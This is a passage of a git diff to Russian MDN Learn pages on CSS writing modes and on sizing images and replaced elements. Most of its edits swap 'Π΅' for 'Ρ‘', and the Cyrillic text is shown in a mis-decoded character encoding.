+<p>Π Π΅ΠΆΠΈΠΌ письма Π² CSS опрСдСляСт, ΠΈΠ΄Ρ‘Ρ‚ Π»ΠΈ тСкст ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. Бвойство {{cssxref ("writing-mode")}} позволяСт Π½Π°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° письма в Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Для этого Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° языкС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ письма - Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π΅ΠΆΠΈΠΌ письма частСй вашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° для творчСских Ρ†Π΅Π»Π΅ΠΉ.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ отобраТаСтся с использованиСм <code>writing-mode: vertical-rl</code>.Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ тСкст ΠΈΠ΄Π΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ.Β Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ тСкст часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² графичСском Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ способом Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ интСрСсный Π²ΠΈΠ΄ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ отобраТаСтся с использованиСм <code>writing-mode: vertical-rl</code>.Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ тСкст ΠΈΠ΄Ρ‘Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ.Β Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ тСкст часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² графичСском Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ способом Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ интСрСсный Π²ΠΈΠ΄ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p>
diff --git a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
index 21896e3f92..e8ee1914ce 100644
--- a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
+++ b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
---
<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div>
-<p>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ элСмСнты Π² CSS. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ° ΠΈ Ρ„ΠΎΡ€ΠΌ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΈΠ½Π°Ρ‡Π΅ ΠΏΡ€ΠΈ ΠΈΡ… стилизации Π² CSS Ρ‡Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ. ПониманиС Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π° Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ спасут вас ΠΎΡ‚ Π»ΠΈΡˆΠ½ΠΈΡ… Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ этот ΡƒΡ€ΠΎΠΊ ΠΏΡ€ΠΎΠ»ΡŒΠ΅Ρ‚ свСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих основных Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</p>
+<p>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ элСмСнты Π² CSS. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ° ΠΈ Ρ„ΠΎΡ€ΠΌ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΈΠ½Π°Ρ‡Π΅ ΠΏΡ€ΠΈ ΠΈΡ… стилизации Π² CSS Ρ‡Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ. ПониманиС Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π° Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ спасут вас ΠΎΡ‚ Π»ΠΈΡˆΠ½ΠΈΡ… Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ этот ΡƒΡ€ΠΎΠΊ ΠΏΡ€ΠΎΠ»ΡŒΡ‘Ρ‚ свСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих основных Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
<h2 id="Π Π°Π·ΠΌΠ΅Ρ€_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ_ΠΊΠ°Π»ΠΈΠ±Ρ€ΠΎΠ²ΠΊΠ°">Π Π°Π·ΠΌΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ (ΠΊΠ°Π»ΠΈΠ±Ρ€ΠΎΠ²ΠΊΠ°)</h2>
-<p>Как Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· этих ΡƒΡ€ΠΎΠΊΠΎΠ², всё Π² CSS Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈ. Если Π²Ρ‹ помСститС Ρ„Π°ΠΉΠ» изобраТСния Π²Π½ΡƒΡ‚Ρ€ΡŒ Π±Π»ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ большС ΠΈΠ»ΠΈ мСньшС исходного Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„Π°ΠΉΠ»Π° изобраТСния Π² ΠΎΠ±ΠΎΠΈΡ… направлСниях, Ρ‚ΠΎ ΠΎΠ½ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒΡΡ Π»ΠΈΠ±ΠΎ Π² мСньшСм Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Ρ‡Π΅ΠΌ Π±Π»ΠΎΠΊ, Π»ΠΈΠ±ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΡ€ΠΎΠ΅Ρ‚ Π΅Π³ΠΎ. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ с ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ΠΌ.</p>
+<p>Как Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· этих ΡƒΡ€ΠΎΠΊΠΎΠ², всё Π² CSS Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈ. Если Π²Ρ‹ помСститС Ρ„Π°ΠΉΠ» изобраТСния Π²Π½ΡƒΡ‚Ρ€ΡŒ Π±Π»ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ большС ΠΈΠ»ΠΈ мСньшС исходного Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„Π°ΠΉΠ»Π° изобраТСния Π² ΠΎΠ±ΠΎΠΈΡ… направлСниях, Ρ‚ΠΎ ΠΎΠ½ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒΡΡ Π»ΠΈΠ±ΠΎ Π² мСньшСм Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Ρ‡Π΅ΠΌ Π±Π»ΠΎΠΊ, Π»ΠΈΠ±ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΡ€ΠΎΠ΅Ρ‚ Π΅Π³ΠΎ. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ с ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ΠΌ.</p>
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Π΄Π²Π° Π±Π»ΠΎΠΊΠ°, ΠΎΠ±Π° ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠΎ 200px:</p>
@@ -41,7 +41,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ пСрСкрывания?</p>
-<p>Как ΠΌΡ‹ ΡƒΡ‡ΠΈΠ»ΠΈ Π² <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">нашСм ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅</a>, распространСнная Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°Β β€” это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ {{cssxref("max-width")}} изобраТСния - 100%. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π±Π»ΠΎΠΊΡƒ, Π½ΠΎ Π½Π΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ Π΅Π³ΠΎ.</span></span> Π’Π°ΠΊΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΌΠΈ элСмСнтами Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>.</p>
+<p>Как ΠΌΡ‹ ΡƒΡ‡ΠΈΠ»ΠΈ Π² <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">нашСм ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅</a>, распространённая Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°Β β€” это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ {{cssxref("max-width")}} изобраТСния - 100%. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π±Π»ΠΎΠΊΡƒ, Π½ΠΎ Π½Π΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ Π΅Π³ΠΎ.</span></span> Π’Π°ΠΊΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΌΠΈ элСмСнтами Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>.</p>
<p><strong>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ <code>max-width: 100%</code> ΠΊ элСмСнту <code>&lt;img&gt;</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ мСньшСС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ останСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ, Π° большСС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ станСт мСньшС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ.</strong></p>
@@ -53,19 +53,19 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p>
-<p>Если ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>contain</code> Π² качСствС значСния, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ станСт достаточно малСньким Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ "ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΉ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ΅", Ссли ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΆΠ΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ сторон, ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊ.</p>
+<p>Если ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>contain</code> Π² качСствС значСния, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ станСт достаточно малСньким Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ "ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΉ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ΅", Ссли ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΆΠ΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ сторон, ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊ.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>fill</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ, Π½ΠΎ ΠΏΡ€ΠΈ этом Π½Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон.</p>
-<h2 id="Π—Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅_элСмСнты_Π²_вСрсткС">Π—Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ элСмСнты Π² вСрсткС</h2>
+<h2 id="Π—Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅_элСмСнты_Π²_вёрсткС">Π—Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ элСмСнты Π² вёрсткС</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ использовании Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вСрстки CSS Π½Π° Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Ρ… элСмСнтах, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Π°Ρ‡Π΅, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. НапримСр</span></span>, Π²ΠΎ flex ΠΈΠ»ΠΈ grid layout элСмСнты Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всю ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚, вмСсто этого ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Ρ€Π°Π²Π½Π΅Π½Ρ‹ Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΈ flex- ΠΈΠ»ΠΈ grig-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ использовании Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вёрстки CSS Π½Π° Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Ρ… элСмСнтах, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Π°Ρ‡Π΅, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. НапримСр</span></span>, Π²ΠΎ flex ΠΈΠ»ΠΈ grid layout элСмСнты Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всю ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚, вмСсто этого ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Ρ€Π°Π²Π½Π΅Π½Ρ‹ Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΈ flex- ΠΈΠ»ΠΈ grig-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это происходит Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, Π³Π΄Π΅ ΠΌΡ‹Β ΠΈΠΌΠ΅Π΅ΠΌ grid-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈΠ· Π΄Π²ΡƒΡ… столбцов ΠΈ Π΄Π²ΡƒΡ… строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит 4 ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ВсС <code>&lt;div&gt;</code> элСмСнты ΠΈΠΌΠ΅ΡŽΡ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ строки ΠΈ столбцы. Однако, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ растягиваСтся.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p>
-<p>Если Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π΅Ρ‚Π΅ эти ΡƒΡ€ΠΎΠΊΠΈ ΠΏΠΎ порядку, Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π΅Ρ‰Π΅ Π½Π΅ рассматривали layout. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π΄Π΅Ρ€ΠΆΠΈΡ‚Π΅ Π² ΡƒΠΌΠ΅, Ρ‡Ρ‚ΠΎ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ элСмСнты, ΡΡ‚Π°Π½ΠΎΠ²ΡΡΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ grid- ΠΈΠ»ΠΈ flex-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΈΠ½Π°Ρ‡Π΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… странного растяТСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅.</p>
